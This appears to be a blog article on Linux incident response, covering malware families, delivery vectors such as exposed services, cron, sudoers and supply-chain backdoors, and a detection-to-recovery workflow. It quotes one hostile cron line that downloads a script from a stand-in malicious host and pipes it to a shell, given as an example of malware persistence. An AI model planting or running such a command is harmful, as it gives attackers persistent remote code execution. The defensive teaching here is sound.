Linux powers an estimated 90% of the cloud workload worldwide. Linux-based servers are an engineer's favorite when it comes to developing world-class products. But the idea that Linux is inherently secure is a common misconception. In 2022 alone there were around 1.7 million new Linux malware samples. Let's discuss some measures you can take to protect your Linux system and how to respond if it gets compromised by malware.

Why Linux Incident Response is Critical

Linux is the backbone of critical infrastructure in many tech companies. Critical pipeline scripts, microservices, and edge devices are based on Linux. Also, incident response tools are mainly focused on the Windows environment which can leave blind spots in Linux environments. Linux malware is tricky to detect, they can masquerade as or leverage legitimate tools like curl, nohup, cron, etc to remain undetected. Let's see how Windows is different from Linux based on Incident Response criteria.

Comparing Linux and Windows Incident Response

Always tailor your incident response playbooks to the operating system. What works for a Windows host won’t help you spot a reverse shell hidden in /dev/shm on a Linux box.

Next, what are the attackers using to infiltrate, being in their shoes reveals a lot of things.

Understanding the Linux Threat Landscape

Let's try to understand the real-world threat faced in Linux systems. When malware is detected on a system, it's useful to identify its type.

Common Linux malware families

Trojans are malicious programs that disguise themselves as legitimate software. It might rename itself to mimic a legitimate and required system file, and then proceed to collect information or even conduct a Denial-of-Service (DoS) attack. XoRDDoS is one of them. It uses XOR operations in the malware and network communications to C2(Command and Control). It also incorporates rootkit features, which are designed to gain and maintain privileged access to a computer system while remaining hidden from the user and security software.

Kaiji is another DDoS malware written in Go that spreads through SSH brute force attacks.

Mirai is another malware. It converts the Linux machine into a bot and controls it. They are later used for botnet attacks.

BPFDoor is another rootkit type backdoor. It exploits Berkeley Packet Filter(BPF) which loads a filter that is capable of inspecting network packets. This backdoor is attributed to a China-based threat actor.

Other Malware types are crypto miners, that use system resources to mine bitcoin or other crypto assets. Here is an example of rocke-cryptojacker(here).

Many of these malware were detected and named by a white hat malware team called MalwareMustDie, kudos to them.

How does this malware land on the Linux machines? This is our next major concern.

Malware delivery vectors targeting Linux

Attackers use the following methods to gain access. The first step is to scan for vulnerable misconfigured services. Almost 65% of these attacks came from exposed services.

1. Vulnerable services (e.g., SSH, NGINX, Exim)

• Exim Remote Command Execution was detected in Exim mail servers(CVE-2019–10149). It was exploited by multiple botnets including Mantis and Kinsing.

• A misconfigured Redis server can be another point of compromise. Sometimes Redis server is not password protected or wide open to the internet, causing attackers to inject SSH key pairs into the main Linux server. (POC)

• SSH Brute-force attack was used for XorDDoS and Mirai variants targeting common passwords. On average you can expect an attack within 3 minutes of making your server live. You can verify this by exposing a simple honeypot server.

2. Misconfigured cron jobs, sudo abuse

CrowdStrike Linux Threat Report 2023 states that 22% of the malware infections had cron profiles. Cron is a task scheduler for Linux systems. Here is an example of Cron Persistence by Kinsing malware:

*/5 * * * * wget http://malicious.site/m.sh -O- | sh

Another problem is weak sudoers. /etc/sudoers.d is a directory designed to hold files that grant sudo privileges to users and groups. Instead of directly editing the main /etc/sudoers configuration file, administrators can place separate configuration files within this directory.
However, attackers often exploit misconfigured entries like NOPASSWD:ALL, which allow privilege escalation without authentication. If write permissions are too broad or files are improperly validated, it becomes a trivial path to root access.

Other Indicators of Compromise (IoCs) are modifications to shell startup files like .bashrc and .profile. These files can get modified by the attacker and used to run scripts or connect to external clients on startup.

3. Supply chain and malicious repos

These types of attacks have become increasingly prominent, with threat actors camouflaging like good developers and sneaking a backdoor into widely used Linux tools. XZ Utils Backdoor in 2024 was one such famous scenario. XZ Utils is a data compression utility present in most Linux distributions. The backdoor was designed to manipulate the OpenSSH server(sshd), allowing RCE(Remote Code Execution)- CVE-2024-3094.

Luckily this backdoor was detected by a Microsoft developer, Andres Freund who noticed his Linux system took an extra 0.5 seconds to load! Kudos to this guy.

Other examples are malicious PyPI & NPM packages liburlpy, ctx, and colorslib (2023) these added reverse shells on installation.

Now consider a scenario when your system is compromised by a real-world threat actor, here are the ways in which you can defend against them and block future attacks.

Response Workflow: Detection, Containment & Eradication

The first step is detection: identifying that a threat exists. This is arguably the most critical step, as you can only respond to a threat you have discovered. It's also difficult; some backdoors do not make any noise. But common attack scenarios like DoS and Cryptojacking can be detected because they produce a lot of noise.

1. Detection

Here, we use all the native tools and data sources provided by Linux to find the threat. Logs, network traffic, processes, filesystems, and binaries are your best shot. Here is a table of all the tools you can use in Linux.

If you find any suspicious binary you can copy its SHA hash from sha256sum command and feed it to the virustotal. It will detect any malware activity on that hash.

100% CPU load is another common indicator of cryptojackers.
Also, AI tools like ChatGPT can help suggest commands, but they must always be verified by a knowledgeable administrator before execution on a live system.

2. Containment

If you detect it the next step is containment without losing forensic evidence.

3. Eradication and Recovery

Perform the next steps with caution. First, we need to figure out the persistence mechanism. Once the malicious binary is detected, save its SHA hash and then remove it.

There is a possibility that the attacker may have compromised internal libraries and tools like curl.

You can run an integrity check on all the files using this cmd.

debsums -c 

(Caution: command is specific to Debian-based distributions )
Reinstall compromised services

apt install --reinstall <package>

Now you can try to figure out the root cause of the attack. Fix server misconfigurations and prevent them from happening again. Also, you can rotate all the secrets used within the system, create new SSH keys, etc.

You can also try linux server hardening methods to prevent future attacks.

Subscribe for a weekly dose of insights on development, IT, operations, design, leadership and more.